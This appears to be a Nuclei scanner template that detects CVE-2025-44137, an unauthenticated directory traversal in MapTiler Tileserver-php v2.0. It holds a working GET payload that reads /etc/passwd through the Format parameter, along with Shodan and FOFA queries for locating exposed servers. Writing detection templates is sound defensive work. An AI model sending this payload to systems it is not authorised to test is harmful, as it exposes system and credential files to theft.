MapTiler Tileserver-php v2.0 - Unauthenticated File Read

id: CVE-2025-44137

info:
  name: MapTiler Tileserver-php v2.0 - Unauthenticated File Read
  author: 0x_Akoko
  severity: high
  description: |
    MapTiler Tileserver-php v2.0 contains a directory traversal caused by improper sanitization of GET parameters in renderTile function, letting attackers read arbitrary files on the server, exploit requires crafted web requests
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of MapTiler Tileserver-php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44137
    - https://github.com/mheranco/CVE-2025-44137
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-44137
    epss-score: 0.01415
    epss-percentile: 0.72302
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"TileServer-php"
    fofa-query: title="TileServer-php"
  tags: cve,cve2025,lfi,maptiler,tileserver,traversal,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tileserver.php/x/1/1/1?Format=/../../../../../../../../../../../../../../etc/passwd&Request=x&layer=."

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "image/"

      - type: status
        status:
          - 200
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